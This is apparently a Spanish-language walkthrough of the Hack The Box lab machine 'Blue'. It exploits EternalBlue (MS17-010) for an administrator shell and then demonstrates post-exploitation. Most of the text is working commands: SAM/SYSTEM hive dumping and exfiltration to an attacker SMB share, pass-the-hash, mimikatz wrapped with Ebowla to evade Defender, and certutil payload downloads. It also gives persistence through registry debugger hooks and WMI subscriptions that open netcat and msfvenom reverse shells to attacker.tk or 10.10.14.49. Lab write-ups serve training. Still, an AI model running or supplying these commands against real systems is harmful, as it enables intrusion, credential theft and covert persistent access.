Blue
Resolution summary
- Buscar puertos
- Buscar vulnerabilidad Windows 7
- Aprovechar vulnerabilidad eternal blue windows 7
- Modificar script
- abri impacket-smbserver para compartir una carpeta
Improved skills
- Windows explotaiton
- zzz_exploit
Used tools
- nmap
- crackmapexec
- zzz_exploit
- nc64.exe
- rlwrap
Information Gathering
Scanned all TCP ports:
1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.9.50 -oG allPorts
Extract all ports
1
extractPorts allPorts
Enumerated top 200 UDP ports:
1
nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.129.9.50 -oN targeted
Enumeration
Port 445 - microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
De primeras vemos que el [[Puerto 445]] esta abierto, es un puerto [[SMB]]. Con [[crackmapexec]] vamos analizar estge servicio para identificar nombre de equipo, dominio, ver que arquitectura…
1
crackmapexec smb 10.129.9.50
Si observamos que es un Windows 7 Professional, si no se ha fortificado el smb lo mas seguro es que sea vulnerable al [[Eternal Blue]]
Antes de empezar podemos probar con scripts de nmap. Primero buscaremos entre las categorias de los scripts que tiene nmap de esta manera:
1
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
La categoría
vuln
y safe
puede venir bien para detectar vulnerabilidades sin hacer ruido o provocar una denegación de servicio.
1
nmap --script "vuln and safe" 10.129.9.50 -oN smbVulnScan
Exploitation
Name of the technique
Podemos obvervar como es vulnerable. Podreiamos usar Metasploit pero como no es valido en OSCP no lo haremos. Ahora podemos usar un exploit buscando en searchsploit EternalBlue o Windows 7. Tambien podemos usar el Triple z o zzz exploit.
Nos descargamos un repositorio que tiene Eternal Blue que es:
1
git clone https://github.com/worawit/MS17-010.git
Nos movemos a la carpeta de los scripts y tratamos de ejecutar checker con python3.
Pero como con python3 no funciona ya que fue programado en pyton2 podemos convertir el script a python3 o ejecutarlo con python2. Esto nos daba un error al importar impackets que podemos solucionar así:
1
2
3
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
/home/hacker/.local/bin/pip2.7 install impacket
Ya con eso ejecutamos el checker.py:
1
python2 checker.py 10.129.9.50
Cuando estamos en un entorno empresarial, si detectamos que el checker nos pone OK ya tendríamos una vía potencial de llegar. En este caso nos dice que la victima no esta parcheado.
En este caso no ha funcionado, pero si abrimos el checker y modificamos la linea de USERNAME poniendo guest tal vez podamos obtener mejor resultado.
El resultado es este:
Sabiendo que el pipe name samr puede ser vulnerable ejecutamos zzz_exploit.py con ese pipe name (samr) En zzz_exploit.py Pero antes tenemos que modificar el USERNAME por guest y tambien lo siguiente de la imagen:
De esta manera podemos hacer un Reverse shell
El ejecutable de netcat para windows se encuentra en /Descargas/Necat Windows/nc64.exe Nos lo copiamos al directorio al que estamos trabajando.
Desde el directorio donde tenemos el nc64.exe
(en este caso /Documentos/HackTheBox/Blue) vamos a iniciar impacker-smbserver para crear un recurso compartido a nivel de red con un nombre, el cual va a estar sincronizado a nuestro directorio actual.
1
2
3
4
5
6
sudo impacket-smbserver smbFolder $(pwd) -smb2support
#impacker-smbserver Iniciamos el recurso compartido
#smbFolder Nombre de la carpeta a compartir
#$(pwd) Desde nuestra carpeta actual
#smb2support damos soporte a la version 2 de smb
Ahora nos ponemos en escucha con netcat en el puerto 7896 que es el que hemos indicado en el fichero de zzz_exploit.py.
1
sudo rlwrap nc -nlvp 7896
Entonces ejecutamos por el siguiente orden:
1
sudo impacket-smbserver smbFolder $(pwd) -smb2support
1
sudo rlwrap nc -nlvp 7896
1
python2 zzz_exploit.py 10.129.9.50 samr
Y si vamos a la pestaña donde tenemos netcat ahi tenemos acceso ya a la shell y somos administradores.
Lateral Movement to user
Nos movemos hasta Users y harris para ver la flag
Privilege Escalation
Ya somos administradores una vez tengamos la shell por lo que no hay escalada de privilegios
Trophy & Loot
user.txt c1dc7b412f15f182526df312ed15cd1f
root.txt 23970aa0bbcd1716c686bc8d454a1e1a
Extra
Como hemos accedido root muy facilmente vamos a mostrar una serie de pasos que podemos hacer ahora para conseguir contraseñas y acceso remoto
Obtaining credentials stored in memory MIMIKATZ + Windows Defender Evasion Enabling RDP from CrackMapExec Windows Persistence techniques
Windows Persistence - Playing with debugger When a user opens a program Windows Persistence - Playing with Gflags When a user closes a program Windows Persistence - Playing with WMI Events Executing tasks at regular intervals of time Persistence + Windows Defender Evasion Playing with Ebowla
Windows Persistence techniques
Nos movemos a /Windows/Temp y creamos la carpeta PostExploitation
Ahí vamos a crear una copia de system y sam con:
1
2
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup
Ahora tenemos 2 archivos: sam.backup y system.backup
Ahora nos lo vamos a trasferir a nuestro equipo y lo haremos de nuevo con impaccket-smbserver Si no le tenemos inicializado lo volvenos a reiniciar:
1
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Y en la maquina windows escribimos:
1
2
copy sam.backup \\10.10.14.49\smbFolder\sam
copy system.backup \\10.10.14.49\smbFolder\system
Ahora ya los tenemos en nuestro equipo. Con impacket-secretsdump podemos sacar informacion de ellos.
1
impacket-secretsdump -sam sam -system system LOCAL
Con esto vamos a obtener los HASHES de los usuarios del equipo victima.
Como estamos en windows y tenemos el hash no necesitamos saber la contraseña. POr ejemplo con crackmapexec podemos averiguar cosas:
1
crackmapexec smb 10.129.9.50 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc'
Si añadimos –lsa podemos dumpear contraseñas en texto claro si las hay:
1
crackmapexec smb 10.129.9.50 -u 'Administrator' -H 'cdf51b162460b7d5bc898f493751a0cc' --lsa
Con esto podriamos volver a conectarnos remotamente al ordenador con impacket-psexec:
1
impacket-psexec WORKGROUP/Administrator@10.129.9.50 -hashes :cdf51b162460b7d5bc898f493751a0cc
Con esto hacemos pass the hash
Persistence_Windows_Defender_Evasion_Playing_with_Ebowla
Localizamos donde esta mimikatz.exe en nuestro equipo y nos lo copiamos al directorio actual de trabajo.
1
cp /usr/share/mimikatz/x64/mimikatz.exe .
Como la maquina es Windows 7 y tiene el Defender activado vamos a usar #Persistence_Windows_Defender_Evasion_Playing_with_Ebowla
Nos clonamos Ebowla con git:
1
git clone https://github.com/Genetic-Malware/Ebowla.git
Vamos a la carpeta que se nos ha creado y modificamos el genetic.conf que tenemos para añadir los campos que son necesarios.
Lo importante esta en las variables de entorno tenemos que poner las correctas que podemos sacar asi desde el equipo windows victima:
1
2
3
4
5
echo %username%
echo %computername%
echo %Number_of_processors%
echo %processor_identifier%
echo %path%
Entonces ya podemos ejecutar el comando de Ebowla:
1
python2 ebowla.py mimikatz.exe genetic.config
Si surge algún error se puede solucionar con:
1
2
3
pip install configobj
pip install pycrypto
pip install pyparsing
Nos movemos a output/ y ahi vemos nuestro ejecutable creado. Volvemos a la carpetra anterior para ejecutar el build que corresponda a nuestro lenguaje y con este comando tendremos ya el ejecutable:
1
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe
Y ya tenemos en la carpeta output el ejecutable. Ahora tenemos que pasar ese archivo ejecutable a la maquina victima, tenemos varias opciones. L amas sencilla es hacer un server con python.
1
python3 -m http.server 4567
Y desde la maquina victima windows ponemos el siguiente comando:
1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/final_mimi.exe
Una vez hecho esto al hacer dir
podemos ver como ya esta nuestro ejecutable en el ordenador de la victima.
Con esto damos lugar al siguiente paso
Obtaining credentials stored in memory MIMIKATZ + Windows Defender Evasion
Ahora con mimikatz vamos a conseguir las credenciales en texto plano. Empezamos ejecutando mimikatz con el nombre del ejecutable que hemos pasado. Despues escribimos:
1
privilege::debug
Nos muestra los privilegios Seguidamente ponemos para obtener la contraseña en texto claro:+
1
sekurlsa::LogonPasswords
De hecho con crackmapexec podemos comprobar que el sistema esta vulenrado con esa contraseña:
1
crackmapexec smb 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM'
La maquina no tiene abierto el [[Puerto 3389]] que es el correspondiente al RDP, para tener un entorno grafico operativo. Desde el terminal podemos abrir este puerto para poder conectarnos remotamente al GUI. Comprobamos con netstat si el peurto esta abierto:
1
netstat -nat
Con crackmapexec tiene un modulo para habilitar el [[RDP - Remote Desktop Protocol]]
1
crackmapexec smb 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM' -M rdp -o action=enable
Obtenemos esto:
Y podemos comprobar si el puerto esta abierto con netstat desde la victima o con nmap desde el atacante.
Ahora nos conectaremos de manera remota con este comando:
1
rdesktop 10.129.58.241 -u 'Administrator' -p 'ejfnIWWDojfWEKM'
Y ya tenemos nuestro entorno grafico:
Persistencia en Windows
3 Tareas para garantizar la persistencia:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[+] First Way
copy calc.exe _calc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f`
[+] Second Way
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"
[+] Third Way
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
Primera forma (Se ejecuta al abrir)
Lo primero es trasferir netcat a la victima. APra ello levantamos servidor python3 y lo descargamos desde la victima:
1
python3 -m http.server 4567
Y en la victima…
1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/nc64.exe
Una vez lo tengamos ponemos el siguiente comando en la victima, si tenemos que modificar algo es a partir de &:
1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Windows\Temp\nc64.exe -e cmd 10.10.14.49 4567" /f
Y en nuestra maquina nos ponemos en escucha en el puerto que pusimos:
1
rlwrap nc -nlvp 4567
En este caso desde el RDP - Remote Desktop Protocol nos iriamos a la calculadora, y en cuanto la abrimos obtenemos acceso por la escucha.
Segunda forma (Se ejecuta al cerrar)
1
2
3
4
5
6
7
8
9
#Recordemos...
[+] Second Way
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e C:\Windows\Temp\nc64.exe C:\Windows\System32\cmd.exe 10.10.14.49 4567"
Copiamos de una en una y pegamos, en caso de tener que modificar algo es en la ultima y a partir de /d
Y nos ponemos en escucha en el puerto que hemos determinado antes.
Tercera forma (La mas silenciosa)
Recordemos…
1
2
3
4
5
6
7
8
9
[+] Third Way
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
Primero nos vamos a crear con[[ msfvenom]] un binario:
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.49 LPORT=4567 -f exe -o persistence.exe
Tenemos ya el ejecutable y volvermos a subirlo a la maquina victima. Si el Defender lo detectase habria que usar Ebowla otra vez. Recordamos, abrir un server con python:
1
python3 -m http.server 4567
Y desde la victima:
1
certutil.exe -f -urlcache -split http://10.10.14.49:4567/persistence.exe
Cerramos el server y nos ponemos en escucha en el puerto que indicamos a msfvenom:
1
rlwrap nc -nlvp 4567
Y ejecutamos persistence.exe y ya tenemos acceso! La idea es que ahora cada minuto se ejecute, para ello vamos a usar los wmic antes puestos… Tras poner los 3 comandos en el puerto de escucha obtendremos una shell cada cierto tiempo.